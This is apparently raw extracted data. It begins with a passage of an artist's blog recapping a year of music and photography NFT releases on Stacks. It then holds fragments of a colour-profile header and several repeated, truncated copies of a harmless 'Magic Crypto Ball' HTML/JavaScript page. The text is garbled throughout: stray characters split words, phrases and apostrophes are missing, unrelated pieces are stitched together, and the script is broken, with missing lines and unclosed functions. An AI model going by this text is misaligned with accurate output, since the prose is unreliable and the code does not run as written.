s 35mm Minolta camera as a kid. Using the motion blur technique, a photographer intentionally slows down the shutter speed to capture movement in the frame, creating blurs resulting in a completely unique image. I followed it up with a similar image called Descanso Motion Blur - Forest of Light, this time as a 1/1 auction for which Aaron wasM
 the highest bidder.
Traveling abroad in the Nonnish Kingdom
Another early Stacks collection that premiered on ArtonStacks was the bespoke Shafts of Light - all hand-drawn one-of-ones by the brilliant artist anonymously known as Ronin. Divine are the ones who minted back in the Stacks days of olde. My entry into the Kingdom
s inner circle would come much later but how could I not after finding this incredible community, co-lead by the incomparable PQ and Pryzm. I was very much inspired by this world and after JM
amil introduced me to some friends at a Stacks party in LA as,
the guy who does all the music for Stacks,
d better keep hustling so I picked up a guitar and starting writing a couple
 First I released Nonnish Proof of Piano (a 1/1 now owned by franscisc.btc) and later Baskethead Bourree (a 1/1 now owned by icearc.btc). I created Proof of Piano as I was documenting my experiments creating ethereal drone sounds by bowing a piano string. This technique was inspired by Stephen SM
s Vikings of the Sunrise. I used these drone sounds to make the
 version of the soon-to-be-released Nonnish Kingdom music. I
ll explore these pieces in more detail in another article when they are released, but what I will say now is that this collection of 101 music visualizer videos will include new artwork by Ronin including a 1/1, and will all have varying degrees of shroom yield. Hmmm
that sounds like utility too.
In late April, shortly before Jamil and Nick M
Sainato rebranded stxnft.com to Gamma.io they reached out to many of the incredible artists in and around the Stacks ecosystem to contribute to a collection called Together with Gamma. For this collaboration they asked the Stacks Photography Guild (co-founded by myself and the GOAT of photography on Stacks, Levi Harroll (oan_media), with the help of Brett Herskope (eliherf)), to submit three images for the collection. Each submission had to be square and, as Gamma co-founder Nick Sainato put it to us in his discordM
point back to the theme of
people coming together through Bitcoin and Web3.
 In addition to the pieces that Levi and then SPG featured photographer Andrei Runcanu submitted (click the hyperlinks to see their beautiful work), I created a bespoke image to capture the essence of the prompt while combining my love for Venice Beach and motion blur. To create Digital Ghosts, I loaded up my backpack with my camera, lenses, tripod, and some fiber optic sparklers, and walked to the shore at sunset. I seM
t the camera up facing the Santa Monica/Malibu mountains and opened the shutter for 30 seconds. I walked into frame and stood as still as I could for 10 seconds in each position while waving the wands around my body, resulting in two semi-silhouetted characters (representing anonymity) connected by ethereal blue electric lights (representing the many ways Web3 connects us).
Another stand out community is that of Satoshibles, led by Bruffstar.btc with artwork by Ayyoub Bouzerda. They were holding theirM
 Wild West Showdown and I recalled a western themed piece of music I had lying around that I had created with guitar, flute, tambourine, and a very Spaghetti-Western-style whistle. I sent it to Bruff, and he made a slick little video with it, featuring the winning Sat.
The Bear Necessities
Things turned pretty dark around May in the web3 space. The rugs kept piling up and the prices kept falling down. Projects that didn
t die at least lost steam, reorganized and reassessed their
n in preparation for crypto winter. Winter was coming. It was already here, and yet it was also still coming. We all reminded ourselves about the importance of avoiding leverage, DCA-ing, self custody, and relationships. I am fortunate to be blessed with a beautiful family and the highlight of my day is always returning home to my wife and two kids. My son
s favorite movie during this time was the original Jungle Book and one afternoon I walked in the door and heard The Bare Necessities playing, and I started thiM
nking about parody lyrics to amuse myself/console myself. The next day it was still ringing around in my head so I gave it an earnest play on my guitar and thought it was clever enough to bring a few smiles to all of you, so on my lunch break I set up a camera and recorded a little one-take performance of The Bear Necessities with a bit of an Andrew Bird-inspired whistling intro. Thanks to all of you who RT
d and shared it around the community and for joining me in a little chuckle while we took a little break frM
om feeling sorry for ourselves. Also, a special big thanks for all of you who bid on the auction, and beu.btc for securing the top bid (whoever you are).
I was very lucky to meet Anibal, a man of many talents who might literally be the smartest person I know. He approached me with an opportunity to collaborate with the great pianist/composer Manuel Gimferrer, and his friend and Python coding whiz Adrien on a collection of computer generated pieces called NFTs for Peace. Anibal acquired a piece ofM
 art by Cuban/Miamian artist Gonzalo Borges, based on his impressions of the invasion of Iraq. Manuel Gimferrer composed the original piece of music based on this theme, and I arranged the music for orchestra and synthesizers. It was a monumental endeavor, by far the most time intensive project I
ve ever worked on other than Kong Fu (more on that later). I ended up creating over 70 tracks, each split up into 6 segments - that
s over 420 tracks (for you non math-majors out there - and also a very auspicious numbM
er for every self deprecating degen). The process was arduous and tedious, but always fun. Every segment had to be mixed, exported, and labeled perfectly so that any computer-generated version sounded great. It really was a monumental project and one that deserves more attention as it is completely unlike anything out there, and is one of the first of its kind (it certainly is on Stacks). I
d love to do a more in-depth write up and to talk more about the community members that made their own
 arrangements, specifically jim.btc, and francisc.btc, but for now you can read more on genmusic.art and can view the collection on Gamma. Last Fall we came up with an idea to revisit the project and put a bit of a
 twist on the music, for which I added some beats and news synths, and Anibal gave a more vibrant treatment to the art. You can view all of those versions here and get a mint pass that you will be able to exchange for your favorite when they are released. Wen? Soon.
Always itching to do more long exposure photography, I had a vision to use sparklers and cardboard Bitcoin-B-shaped cut-outs to create my next collection. I was really pleased with the images and I released my 7 best shots on Gamma, 2 of which are still unminted. I did a more extensive write up in my first Sigle article which you can view here, if you like to
keep an open shutter,
s keep things rolling.
s so much to say about this incredibly talented and humble maM
n from Zimbabwe. I encourage everyone to read Jack
s article on Sigle about him to get a good idea of where he
s coming from, and the value he brings to everyone in his community. We first collaborated in February with Proof of Play as he did a bang up job creating the artwork. Then out of the blue he sent me this incredible track that he produced featuring his powerful vocals gracefully singing over a section of the music of the  Project Indigo 1b music NFT. We released 50 copies of WastelandMusic in July (theM
re are still some available to be minted too). Looking for a way to return the favor, fate handed me a golden opportunity when he released God Did, a raw a cappella banger that I minted and imported into Logic Pro in order to create a fully produced arrangement. This was a fun challenge, and one that required a lot of splicing and time stretching. 3Hunna
s original was more of a freestyle, and I discovered that the tempo had little changes throughout and gradually sped up. It was a fun challenge and I was quite eM
xcited to send it to him as a little surprise. He provided his video visualizer treatment (he
s got a gift for After Effects), and named it We Did. You can grab a copy (and enjoy it in your Parrot Radio app), for 15 STX.
La Tour et Les Nuages
I traveled to France with my wife and two kids over the summer. Originally we had not planned on staying in Paris, but after we drove in for a day we quickly changed our minds and my wife went bargain hunting on AirBnB. We found a tiny apartment on the
 was actually the 6th floor - I want credit for climbing up every single step in that charming old never-ending spiral staircase), with a charming view of the Eiffel Tower. I set up the tripod and grabbed a time lapse of the iconic tower with the puffy summer clouds floating by. When we got back to our place in Rouen I wrote a piece of music on guitar to accompany the video and released La Tour et Les Nuages as a 1/1, for which bue.btc (who are you!?) placed a precision bid in the last block and doubled their colleM
ction of Longstreet 1/1
s. Again, thank you, whoever you are.
Bringing Bangers Back
t really accurate, but I liked the alliteration. There are two tracks I made years ago (69 years ago if you count in crypto years) that I revived and released on Stacks in the Fall - Moon Tide, and The Girl from Stacks. You can still pick up Moon Tide, a calming little piece of music great for relaxing and falling asleep to, for 5 STX. But something went wrong with the contract for The Girl froM
m Stacks (the name is a nod to The Girl from Ipanema), so I guess you can say it
s become a limited edition. The floor-price is now in the hands of the 34 diamond handed early minters.
Now this I can confidently say IS a banger, thanks to the contributions of our aforementioned favorite fake doctor, metacal director Dr. $u$$, and the prolific and wildly imaginative Boozy. One of the most amusing chapter is 2022 was the Goblin.wtf phenomenon. The good doctor sent me some alpha as they were blM
owing up and I quickly skipped the
wtf, what is happening here,
 phase and went straight to
 He insisted that Boozy and I slide into each other's DMs and between the two of them I had enough material to devote a master
s-degree-worth of time into exploring the dark piss-laden floors of Goblin Town. This track also deserves a separate article and a video deep dive but that will have to come later. I combined two themes that I heard on loop in the various Twitter Spaces, and incorporated pM
lenty of Goblinisms, courtesy of Boozy and Dr. Suss. Here are some screenshots of the goblin gold that the boys sent to me for reference. We reached out to our
 (mrk.btc and jamil.btc) for help releasing this as a free claim on ETH for all Goblin holders and Megapont Apes, and few months later I released a limited supply on Gamma (69 copies, 6.9  STX each, ofc, ferdaculture). Check out the ETH mint page made by Boozy, and if you
re looking to add one to your collection you can find some on secondary on M
One phrase that gets thrown around a lot is
 and this is especially true in Stacks. Provenance is one of the benefits we all enjoy here and being able to say that I was the
first person to release the music by J.S. Bach on the bitcoin blockchain,
 is a fun novelty. When Gamma announced that they were accepting submissions for their Peer-to-Peer: Community Collection I began considering how to capture the essence of their prompt on equity. I decided to use BaM
s Two Part Invention No. 4 because it
s performed by one player (with both hands). I thought about assigning each hand a
 and hard panned the hands in the left and right speakers so that the listener, when using headphones, could experience each
 in isolation and ultimately realize that the music is best enjoyed when both voices can be heard together in harmony. I made a music visualizer video featuring two planets each encircled by the visualizer bars that seem to reach out to one anoM
ther, longing for connection. When I read in the announcement that this piece was included in their collection I felt quite proud. This is a special collection and all proceeds went to the International Women's Day Charity Alliance. Three cheers again for the Gamma team.
I was keen on doing another more ambitious piece of music and giving it a similar treatment as I had for the Two Part Invention No. 4. With Halloween around the corner, the obvious piece to me was another piece by J.S. Bach, M
perhaps his most well-known, Toccata and Fugue in D Minor. I arranged it for orchestra, multiple organs, and synthesizers, and used the sound visualizer bars to represent the different parts of the organ that are played by the performer. The bars on bottom represent the notes that are to be played by the pedals of the organ with the performer's feet. The sound bars on top represent the music that is to be played on the
 and the sound bars on the left and right represent the music that is to be played bM
y the left and right hands. These sound visualizers are designed to draw attention to the demanding technique required to perform this piece, and to highlight the genius and complexity of this quintessential composition. It
s an epic piece of music (over 8 minutes long) and this little side project became all consuming very quickly, especially as I wanted to get it out by Halloween as a limited edition set of 66, at 66.6 Stacks each. S/o to Nick again, who taught me the simplest bit of clarity coding so I could sM
et the price with a decimal.
This was a fun little one-take performance of This is Halloween that I arranged for nylon guitar, and airdropped to 60 supporters in the community as a thank you. Thank you!
t do anything in November, apparently. Oh wait, that
s because I was working on music for Megapont
s epic storytelling NFT experience, Kong Fu. It was a glorious work of art that was deemed a commercial failure so it
s on hold for now. The incredible artist and writer M
Steve Abbananto created an immersive world and the dev team created a seamless minting and playing experience. You can still check out the beautiful website here, and see the Prologue on my instagram. I
ll get the music out at some point because it
s not bad, and will surely make a good addition to anyone
s playlists on Parrot Radio.
To close out a wild and eventful year I released a couple music NFTs including A Jazzy Christmas with Longstreet, a collection of four pieces performed on a ridiM
culously tasty Gibson L5 guitar that included The Christmas Song, Let it Snow, Christmas Time is Here, and Santa Claus is Comin' to Town. And as a farewell, Auld Lang Syne.
2023 is not off to a bad start. While I
ve been writing this article Bitcoin crushed through $20K and Stacks pumped to $.25 and beyond. I also released the
 style edit of the Airdrop Show theme music that I had written a few months earlier. I airdropped this version to holders of Venice Visuals, the Project Indigo music M
NFTs and all Stacks Parrots holders, in honor of their much anticipated Parrot Radio.
s been a long year, almost as long as this article! As we often do, I too spend much of my time with my head down, working, pushing forward through the bear market, and trying to keep up with the other amazing artists in this space for whom I have a tremendous amount of respect. Never in my life have I felt this enabled to pursue so many creative endeavors and collaborations and it has been incredibly rewarding to invest soL
 much time and energy in this space. Thank you all for your support, and thanks for sticking around to the end. It
s gonna be a good year.h!
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
2023-02-13T21:21:19+00:00=Z8h
2023-02-13T21:21:19+00:00L
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers=["It is certain","That makes no sense!","Are you kidding me?","Highly likely","Outlook promising","Yes","Price is uncertain, try again","What kind of answer do you expect?","It's too volatile to tell now","What are you even asking?","Study the charts and ask again","No, but I'll give you a joke!","My reply is M
no","I'm not sure what to say!","Outlook not so good","Very doubtful","Go ask someone else!","Go ahead, make my day!","The market sees potential","It's a great opportunity!","I'm all ears for a good joke!","Outlook not so promising","Outlook is grim"];
		var complains=["Please don't interrupt me", "I'm still talking here","Let me finish, please","Please wait your turn to speak","Respectfully, don't talk over me","Do not interrupt me, it's rude"];
		var changeMind=["I'm reconsidering my choice","I'm backtracking",M
"I'm having second thoughts","I'm having doubts now","I'm revising my earlier decision"];
		var answerFinishedAt=new Date().getTime();
		var interrupted=0;
		var changedMind=0;
		function magicBall() {
			if (interrupted==1||changedMind==1) return;
			if (!isAnswerFinished())
				getInterruptReply();
			var randomAnswer = answers[Math.floor(Math.random() * answers.length)];
			document.getElementById("answer").innerHTML = "";
			for (let i=0;i<randomAnswer.length;i++){
				if (interrupted==0) document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*100;
				if (Math.floor(Math.random()*4)==0)
					getChangeMind();
			},randomAnswer.length*100+1000);
		function getInterruptReply(){
			var randomComplain=complains[Math.floor(Math.random()*complains.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<rM
andomComplain.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomComplain[i];
		function getChangeMind(){
			if (interrupted==1||changedMind==1) return;
			var randomChangeMind=changeMind[Math.floor(Math.random()*changeMind.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<randomChangeMind.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomChangeMind[i];
			},randomChangeMind.length*80+1000);
		function isAnswerFinished(){
			return new Date().getTime()>=answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;}
		.text {font-size:calc(6vwM
);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#800080;text-shadow: 0px 0px 5px #800080;}
		.fade {animation: 17s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
		  100% {opacity:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.orgM
				<circle r="49%" cy="50%" cx="50%" fill="#800080" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#900090"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#800080"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="50%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#900090" fill="url(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
				<stop offset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
				<stop offset="0%" stop-color="#ffffff"/>
op offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#800080"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers=["It is certain","That makes no sense!","Are you kidding me?","Highly likely","Outlook promising","Yes","Price is uncertain, try again","What kind of answer do you expect?","It's too volatile to tell now","What are you even asking?","Study the charts and ask again","No, but I'll give you a joke!","My reply is M
no","I'm not sure what to say!","Outlook not so good","Very doubtful","Go ask someone else!","Go ahead, make my day!","The market sees potential","It's a great opportunity!","I'm all ears for a good joke!","Outlook not so promising","Outlook is grim"];
		var complains=["Please don't interrupt me", "I'm still talking here","Let me finish, please","Please wait your turn to speak","Respectfully, don't talk over me","Do not interrupt me, it's rude"];
		var changeMind=["I'm reconsidering my choice","I'm backtracking",M
"I'm having second thoughts","I'm having doubts now","I'm revising my earlier decision"];
		var answerFinishedAt=new Date().getTime();
		var interrupted=0;
		var changedMind=0;
		function magicBall() {
			if (interrupted==1||changedMind==1) return;
			if (!isAnswerFinished())
				getInterruptReply();
			var randomAnswer = answers[Math.floor(Math.random() * answers.length)];
			document.getElementById("answer").innerHTML = "";
			for (let i=0;i<randomAnswer.length;i++){
				if (interrupted==0) document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*100;
				if (Math.floor(Math.random()*4)==0)
					getChangeMind();
			},randomAnswer.length*100+1000);
		function getInterruptReply(){
			var randomComplain=complains[Math.floor(Math.random()*complains.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<rM
andomComplain.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomComplain[i];
		function getChangeMind(){
			if (interrupted==1||changedMind==1) return;
			var randomChangeMind=changeMind[Math.floor(Math.random()*changeMind.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<randomChangeMind.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomChangeMind[i];
			},randomChangeMind.length*80+1000);
		function isAnswerFinished(){
			return new Date().getTime()>=answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;}
		.text {font-size:calc(6vwM
);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#800080;text-shadow: 0px 0px 5px #800080;}
		.fade {animation: 17s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
		  100% {opacity:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.orgM
				<circle r="49%" cy="50%" cx="50%" fill="#800080" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#900090"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#800080"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="50%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#900090" fill="url(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
				<stop offset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
				<stop offset="0%" stop-color="#ffffff"/>
op offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#800080"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers=["It is certain","That makes no sense!","Are you kidding me?","Highly likely","Outlook promising","Yes","Price is uncertain, try again","What kind of answer do you expect?","It's too volatile to tell now","What are you even asking?","Study the charts and ask again","No, but I'll give you a joke!","My reply is M
no","I'm not sure what to say!","Outlook not so good","Very doubtful","Go ask someone else!","Go ahead, make my day!","The market sees potential","It's a great opportunity!","I'm all ears for a good joke!","Outlook not so promising","Outlook is grim"];
		var complains=["Please don't interrupt me", "I'm still talking here","Let me finish, please","Please wait your turn to speak","Respectfully, don't talk over me","Do not interrupt me, it's rude"];
		var changeMind=["I'm reconsidering my choice","I'm backtracking",M
"I'm having second thoughts","I'm having doubts now","I'm revising my earlier decision"];
		var answerFinishedAt=new Date().getTime();
		var interrupted=0;
		var changedMind=0;
		function magicBall() {
			if (interrupted==1||changedMind==1) return;
			if (!isAnswerFinished())
				getInterruptReply();
			var randomAnswer = answers[Math.floor(Math.random() * answers.length)];
			document.getElementById("answer").innerHTML = "";
			for (let i=0;i<randomAnswer.length;i++){
				if (interrupted==0) document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*100;
				if (Math.floor(Math.random()*4)==0)
					getChangeMind();
			},randomAnswer.length*100+1000);
		function getInterruptReply(){
			var randomComplain=complains[Math.floor(Math.random()*complains.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<rM
andomComplain.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomComplain[i];
		function getChangeMind(){
			if (interrupted==1||changedMind==1) return;
			var randomChangeMind=changeMind[Math.floor(Math.random()*changeMind.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<randomChangeMind.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomChangeMind[i];
			},randomChangeMind.length*80+1000);
		function isAnswerFinished(){
			return new Date().getTime()>=answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;}
		.text {font-size:calc(6vwM
);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#800080;text-shadow: 0px 0px 5px #800080;}
		.fade {animation: 17s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
		  100% {opacity:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.orgM
				<circle r="49%" cy="50%" cx="50%" fill="#800080" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#900090"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#800080"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="50%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#900090" fill="url(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
				<stop offset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
				<stop offset="0%" stop-color="#ffffff"/>
op offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#800080"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers=["It is certain","That makes no sense!","Are you kidding me?","Highly likely","Outlook promising","Yes","Price is uncertain, try again","What kind of answer do you expect?","It's too volatile to tell now","What are you even asking?","Study the charts and ask again","No, but I'll give you a joke!","My reply is M
no","I'm not sure what to say!","Outlook not so good","Very doubtful","Go ask someone else!","Go ahead, make my day!","The market sees potential","It's a great opportunity!","I'm all ears for a good joke!","Outlook not so promising","Outlook is grim"];
		var complains=["Please don't interrupt me", "I'm still talking here","Let me finish, please","Please wait your turn to speak","Respectfully, don't talk over me","Do not interrupt me, it's rude"];
		var changeMind=["I'm reconsidering my choice","I'm backtracking",M
"I'm having second thoughts","I'm having doubts now","I'm revising my earlier decision"];
		var answerFinishedAt=new Date().getTime();
		var interrupted=0;
		var changedMind=0;
		function magicBall() {
			if (interrupted==1||changedMind==1) return;
			if (!isAnswerFinished())
				getInterruptReply();
			var randomAnswer = answers[Math.floor(Math.random() * answers.length)];
			document.getElementById("answer").innerHTML = "";
			for (let i=0;i<randomAnswer.length;i++){
				if (interrupted==0) document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*100;
				if (Math.floor(Math.random()*4)==0)
					getChangeMind();
			},randomAnswer.length*100+1000);
		function getInterruptReply(){
			var randomComplain=complains[Math.floor(Math.random()*complains.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<rM
andomComplain.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomComplain[i];
		function getChangeMind(){
			if (interrupted==1||changedMind==1) return;
			var randomChangeMind=changeMind[Math.floor(Math.random()*changeMind.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<randomChangeMind.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomChangeMind[i];
			},randomChangeMind.length*80+1000);
		function isAnswerFinished(){
			return new Date().getTime()>=answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;}
		.text {font-size:calc(6vwM
);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#800080;text-shadow: 0px 0px 5px #800080;}
		.fade {animation: 17s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
		  100% {opacity:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.orgM
				<circle r="49%" cy="50%" cx="50%" fill="#800080" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#900090"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#800080"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="50%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#900090" fill="url(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
				<stop offset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
				<stop offset="0%" stop-color="#ffffff"/>
op offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#800080"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers=["It is certain","That makes no sense!","Are you kidding me?","Highly likely","Outlook promising","Yes","Price is uncertain, try again","What kind of answer do you expect?","It's too volatile to tell now","What are you even asking?","Study the charts and ask again","No, but I'll give you a joke!","My reply is M
no","I'm not sure what to say!","Outlook not so good","Very doubtful","Go ask someone else!","Go ahead, make my day!","The market sees potential","It's a great opportunity!","I'm all ears for a good joke!","Outlook not so promising","Outlook is grim"];
		var complains=["Please don't interrupt me", "I'm still talking here","Let me finish, please","Please wait your turn to speak","Respectfully, don't talk over me","Do not interrupt me, it's rude"];
		var changeMind=["I'm reconsidering my choice","I'm backtracking",M
"I'm having second thoughts","I'm having doubts now","I'm revising my earlier decision"];
		var answerFinishedAt=new Date().getTime();
		var interrupted=0;
		var changedMind=0;
		function magicBall() {
			if (interrupted==1||changedMind==1) return;
			if (!isAnswerFinished())
				getInterruptReply();
			var randomAnswer = answers[Math.floor(Math.random() * answers.length)];
			document.getElementById("answer").innerHTML = "";
			for (let i=0;i<randomAnswer.length;i++){
				if (interrupted==0) document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*100;
				if (Math.floor(Math.random()*4)==0)
					getChangeMind();
			},randomAnswer.length*100+1000);
		function getInterruptReply(){
			var randomComplain=complains[Math.floor(Math.random()*complains.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<rM
andomComplain.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomComplain[i];
		function getChangeMind(){
			if (interrupted==1||changedMind==1) return;
			var randomChangeMind=changeMind[Math.floor(Math.random()*changeMind.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<randomChangeMind.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomChangeMind[i];
			},randomChangeMind.length*80+1000);
		function isAnswerFinished(){
			return new Date().getTime()>=answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;}
		.text {font-size:calc(6vwM
);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#800080;text-shadow: 0px 0px 5px #800080;}
		.fade {animation: 17s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
		  100% {opacity:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.orgM
